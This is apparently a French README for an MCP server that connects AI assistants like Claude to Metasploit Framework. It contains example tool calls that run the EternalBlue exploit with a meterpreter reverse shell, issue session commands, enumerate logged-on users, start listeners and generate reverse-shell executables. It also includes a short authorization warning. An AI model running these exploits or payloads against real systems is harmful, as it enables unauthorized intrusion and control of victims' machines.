Serveur MCP pour Metasploit
Un serveur Model Context Protocol (MCP) pour l'intégration de Metasploit Framework.
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
Ce serveur MCP fait office de pont entre les grands modèles de langage comme Claude et la plateforme de tests d'intrusion Metasploit Framework. Il permet aux assistants IA d'accéder dynamiquement aux fonctionnalités de Metasploit et de les contrôler via des outils standardisés, offrant une interface en langage naturel pour des flux de travail complexes de tests de sécurité.
pip install -r requirements.txt
MSF_PASSWORD=yourpassword
MSF_SERVER=127.0.0.1
MSF_PORT=55553
MSF_SSL=false
PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads
Démarrez le service RPC Metasploit :
msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553
Le serveur prend en charge deux méthodes de transport :
Vous pouvez sélectionner explicitement le mode de transport à l'aide de l'option --transport :
# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http
# Run with STDIO transport
python MetasploitMCP.py --transport stdio
Options supplémentaires pour le mode HTTP :
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
Pour l'intégration avec Claude Desktop, configurez claude_desktop_config.json :
{
"mcpServers": {
"metasploit": {
"command": "uv",
"args": [
"--directory",
"C:\\path\\to\\MetasploitMCP",
"run",
"MetasploitMCP.py",
"--transport",
"stdio"
],
"env": {
"MSF_PASSWORD": "yourpassword"
}
}
}
}
Pour les autres clients MCP qui utilisent HTTP/SSE :
Démarrez le serveur en mode HTTP :
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
Configurez votre client MCP pour qu'il se connecte à :
http://your-server-ip:8085/sse⚠️ AVERTISSEMENT DE SÉCURITÉ IMPORTANT :
Cet outil fournit un accès direct aux capacités de Metasploit Framework, qui incluent de puissantes fonctionnalités d'exploitation. Utilisez-le de manière responsable et uniquement dans des environnements où vous disposez d'une autorisation explicite pour effectuer des tests de sécurité.
list_exploits("ms17_010")run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})list_active_sessions()send_session_command(1, "whoami")run_post_module("windows/gather/enum_logged_on_users", 1)send_session_command(1, "sysinfo")terminate_session(1)start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)list_listeners()generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})stop_job(1)Ce projet inclut des tests unitaires et d'intégration complets pour garantir fiabilité et maintenabilité.
Installez les dépendances de test :
pip install -r requirements-test.txt
Ou utilisez le programme d'installation pratique :
python run_tests.py --install-deps
# OR
make install-deps
# Run all tests
python run_tests.py --all
# OR
make test
# Run with coverage report
python run_tests.py --all --coverage
# OR
make coverage
# Run with HTML coverage report
python run_tests.py --all --coverage --html
# OR
make coverage-html
# Unit tests only
python run_tests.py --unit
# OR
make test-unit
# Integration tests only
python run_tests.py --integration
# OR
make test-integration
# Options parsing tests
python run_tests.py --options
# OR
make test-options
# Helper function tests
python run_tests.py --helpers
# OR
make test-helpers
# MCP tools tests
python run_tests.py --tools
# OR
make test-tools
# Include slow tests
python run_tests.py --all --slow
# Include network tests (requires actual network)
python run_tests.py --all --network
# Verbose output
python run_tests.py --all --verbose
# Quick test (no coverage, fail fast)
make quick-test
# Debug mode (detailed failure info)
make test-debug
tests/test_options_parsing.py : Tests unitaires pour la fonctionnalité d'analyse robuste des optionstests/test_helpers.py : Tests unitaires pour les fonctions d'aide internes et la gestion du client MSFtests/test_tools_integration.py : Tests d'intégration pour tous les outils MCP avec un backend Metasploit simuléconftest.py : Fixtures de test partagées et configurationpytest.ini : Configuration Pytest avec les paramètres de couvertureAprès avoir exécuté les tests avec couverture, les rapports sont disponibles dans :
htmlcov/index.html (en utilisant l'option --html)Pour l'intégration continue :
# CI-friendly test command
make ci-test
# OR
python run_tests.py --all --coverage --verbose
Par défaut, les payloads générés avec generate_payload sont enregistrés dans un répertoire payloads dans votre dossier personnel (~/payloads ou C:\Users\YourUsername\payloads). Vous pouvez personnaliser cet emplacement en définissant la variable d'environnement PAYLOAD_SAVE_DIR.
Définition de la variable d'environnement :
Windows (PowerShell) :
$env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
Windows (Invite de commandes) :
set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
Linux/macOS :
export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
Dans la configuration de Claude Desktop :
"env": {
"MSF_PASSWORD": "yourpassword",
"PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default
}
Remarque : Si vous spécifiez un chemin personnalisé, assurez-vous qu'il existe ou que l'application a la permission de le créer. Si le chemin est invalide, la génération du payload pourrait échouer.
Apache 2.0